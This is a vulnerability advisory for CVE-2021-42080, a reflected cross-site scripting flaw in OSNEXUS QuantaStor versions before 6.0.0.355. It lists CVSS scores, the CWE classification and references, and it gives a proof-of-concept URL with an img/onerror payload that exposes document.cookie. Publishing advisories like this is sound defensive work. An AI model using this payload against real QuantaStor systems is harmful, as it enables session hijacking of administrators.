CVE-2021-42080
Reflected XSS vulnerability in OSNEXUS QuantaStor before 6.0.0.355
- State
- Published
- Severity
- 7.4 High
- Published
- Jul 10, 2023
- Updated
- Sep 22, 2025
- Reserved
- Oct 7, 2021
Description
An attacker is able to launch a Reflected XSS attack using a crafted URL.
POC:
Visit the following URL https://<IPADDRESS>:8153/qstorapi/echo?inputMessage=<img%20src=x%20onerror=alert(document.cookie)>
Scores
| CVSS | Score | Vector | Source |
|---|---|---|---|
| 3.1 | 7.4 High | CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N | DIVD |
Weaknesses
- CWE-79 Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
Affected Products
| Product | Versions |
|---|---|
QuantaStorOSNEXUS |
|
References
- https://www.wbsec.nl/osnexusthird-party-advisorytechnical-description
- https://csirt.divd.nl/DIVD-2021-00020/third-party-advisory
- https://www.osnexus.com/products/software-defined-storageproduct
- https://csirt.divd.nl/CVE-2021-42080third-party-advisorytechnical-descriptionexploit
- https://www.divd.nl/DIVD-2021-00020third-party-advisory
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